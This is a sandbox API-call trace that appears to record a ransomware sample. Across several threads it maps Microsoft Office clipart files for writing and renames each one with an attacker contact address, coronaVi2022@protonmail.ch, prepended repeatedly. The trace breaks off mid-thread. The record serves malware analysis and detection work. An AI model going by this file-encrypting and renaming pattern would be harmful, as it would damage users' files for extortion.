	[0094.284] GetFileSizeEx (in: hFile=0xb34, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7216) returned 1
	[0094.284] CreateFileMappingA (hFile=0xb34, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c30, lpName=0x0) returned 0xb38
	[0094.284] MapViewOfFile (hFileMappingObject=0xb38, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.286] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.286] CloseHandle (hObject=0xb38) returned 1
	[0094.286] GetCurrentThreadId () returned 0x18ec
	[0094.286] FlushFileBuffers (hFile=0xb34) returned 1
	[0094.290] CloseHandle (hObject=0xb34) returned 1
	[0094.290] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 242
	[0094.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif")) returned 1
	[0094.291] free (_Block=0x51f60a0) 
	[0094.291] RtlExitUserThread (Status=0x0) 

Thread:
	id = 545
	os_tid = 0x18f0

	[0094.293] _alloca_probe () returned 0x40328a
	[0094.293] GetCurrentThreadId () returned 0x18f0
	[0094.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", dwFileAttributes=0x80) returned 1
	[0094.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb38
	[0094.294] GetFileSizeEx (in: hFile=0xb38, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=14881) returned 1
	[0094.294] CreateFileMappingA (hFile=0xb38, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a21, lpName=0x0) returned 0xb3c
	[0094.294] MapViewOfFile (hFileMappingObject=0xb3c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.297] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.297] CloseHandle (hObject=0xb3c) returned 1
	[0094.297] GetCurrentThreadId () returned 0x18f0
	[0094.297] FlushFileBuffers (hFile=0xb38) returned 1
	[0094.302] CloseHandle (hObject=0xb38) returned 1
	[0094.302] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 242
	[0094.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif")) returned 1
	[0094.303] free (_Block=0x51f3088) 
	[0094.303] RtlExitUserThread (Status=0x0) 

Thread:
	id = 546
	os_tid = 0x18f4

	[0094.304] _alloca_probe () returned 0x40328a
	[0094.305] GetCurrentThreadId () returned 0x18f4
	[0094.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", dwFileAttributes=0x80) returned 1
	[0094.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb3c
	[0094.305] GetFileSizeEx (in: hFile=0xb3c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6721) returned 1
	[0094.305] CreateFileMappingA (hFile=0xb3c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a41, lpName=0x0) returned 0xb40
	[0094.305] MapViewOfFile (hFileMappingObject=0xb40, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.307] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.307] CloseHandle (hObject=0xb40) returned 1
	[0094.307] GetCurrentThreadId () returned 0x18f4
	[0094.307] FlushFileBuffers (hFile=0xb3c) returned 1
	[0094.309] CloseHandle (hObject=0xb3c) returned 1
	[0094.309] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 242
	[0094.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif")) returned 1
	[0094.310] free (_Block=0x51f60a0) 
	[0094.310] RtlExitUserThread (Status=0x0) 

Thread:
	id = 547
	os_tid = 0x18f8

	[0094.312] _alloca_probe () returned 0x40328a
	[0094.312] GetCurrentThreadId () returned 0x18f8
	[0094.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", dwFileAttributes=0x80) returned 1
	[0094.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb40
	[0094.313] GetFileSizeEx (in: hFile=0xb40, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3265) returned 1
	[0094.313] CreateFileMappingA (hFile=0xb40, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc1, lpName=0x0) returned 0xb44
	[0094.313] MapViewOfFile (hFileMappingObject=0xb44, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.314] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.314] CloseHandle (hObject=0xb44) returned 1
	[0094.314] GetCurrentThreadId () returned 0x18f8
	[0094.314] FlushFileBuffers (hFile=0xb40) returned 1
	[0094.316] CloseHandle (hObject=0xb40) returned 1
	[0094.316] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 242
	[0094.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif")) returned 1
	[0094.317] free (_Block=0x51f0070) 
	[0094.317] RtlExitUserThread (Status=0x0) 

Thread:
	id = 548
	os_tid = 0x18fc

	[0094.319] _alloca_probe () returned 0x40328a
	[0094.319] GetCurrentThreadId () returned 0x18fc
	[0094.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", dwFileAttributes=0x80) returned 1
	[0094.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb44
	[0094.320] GetFileSizeEx (in: hFile=0xb44, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8097) returned 1
	[0094.320] CreateFileMappingA (hFile=0xb44, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa1, lpName=0x0) returned 0xb48
	[0094.320] MapViewOfFile (hFileMappingObject=0xb48, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.322] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.322] CloseHandle (hObject=0xb48) returned 1
	[0094.322] GetCurrentThreadId () returned 0x18fc
	[0094.322] FlushFileBuffers (hFile=0xb44) returned 1
	[0094.324] CloseHandle (hObject=0xb44) returned 1
	[0094.324] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 242
	[0094.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif")) returned 1
	[0094.325] free (_Block=0x51f4090) 
	[0094.325] RtlExitUserThread (Status=0x0) 

Thread:
	id = 549
	os_tid = 0x1900

	[0094.326] _alloca_probe () returned 0x40328a
	[0094.327] GetCurrentThreadId () returned 0x1900
	[0094.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", dwFileAttributes=0x80) returned 1
	[0094.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb48
	[0094.327] GetFileSizeEx (in: hFile=0xb48, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7713) returned 1
	[0094.327] CreateFileMappingA (hFile=0xb48, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e21, lpName=0x0) returned 0xb4c
	[0094.327] MapViewOfFile (hFileMappingObject=0xb4c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.329] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.329] CloseHandle (hObject=0xb4c) returned 1
	[0094.329] GetCurrentThreadId () returned 0x1900
	[0094.329] FlushFileBuffers (hFile=0xb48) returned 1
	[0094.331] CloseHandle (hObject=0xb48) returned 1
	[0094.332] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 242
	[0094.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif")) returned 1
	[0094.333] free (_Block=0x51f0070) 
	[0094.333] RtlExitUserThread (Status=0x0) 

Thread:
	id = 550
	os_tid = 0x1904

	[0094.335] _alloca_probe () returned 0x40328a
	[0094.336] GetCurrentThreadId () returned 0x1904
	[0094.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", dwFileAttributes=0x80) returned 1
	[0094.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4c
	[0094.336] GetFileSizeEx (in: hFile=0xb4c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=11905) returned 1
	[0094.336] CreateFileMappingA (hFile=0xb4c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e81, lpName=0x0) returned 0xb50
	[0094.336] MapViewOfFile (hFileMappingObject=0xb50, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.339] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.339] CloseHandle (hObject=0xb50) returned 1
	[0094.339] GetCurrentThreadId () returned 0x1904
	[0094.339] FlushFileBuffers (hFile=0xb4c) returned 1
	[0094.342] CloseHandle (hObject=0xb4c) returned 1
	[0094.343] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 242
	[0094.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif")) returned 1
	[0094.344] free (_Block=0x51f3088) 
	[0094.344] RtlExitUserThread (Status=0x0) 

Thread:
	id = 551
	os_tid = 0x1908

	[0094.345] _alloca_probe () returned 0x40328a
	[0094.346] GetCurrentThreadId () returned 0x1908
	[0094.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", dwFileAttributes=0x80) returned 1
	[0094.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb50
	[0094.346] GetFileSizeEx (in: hFile=0xb50, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=529) returned 1
	[0094.346] CreateFileMappingA (hFile=0xb50, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211, lpName=0x0) returned 0xb54
	[0094.347] MapViewOfFile (hFileMappingObject=0xb54, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.347] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.347] CloseHandle (hObject=0xb54) returned 1
	[0094.347] GetCurrentThreadId () returned 0x1908
	[0094.347] FlushFileBuffers (hFile=0xb50) returned 1
	[0094.349] CloseHandle (hObject=0xb50) returned 1
	[0094.349] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 242
	[0094.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif")) returned 1
	[0094.350] free (_Block=0x51f0070) 
	[0094.350] RtlExitUserThread (Status=0x0) 

Thread:
	id = 552
	os_tid = 0x190c

	[0094.352] _alloca_probe () returned 0x40328a
	[0094.352] GetCurrentThreadId () returned 0x190c
	[0094.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", dwFileAttributes=0x80) returned 1
	[0094.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb54
	[0094.353] GetFileSizeEx (in: hFile=0xb54, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=529) returned 1
	[0094.353] CreateFileMappingA (hFile=0xb54, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211, lpName=0x0) returned 0xb58
	[0094.353] MapViewOfFile (hFileMappingObject=0xb58, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.354] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.354] CloseHandle (hObject=0xb58) returned 1
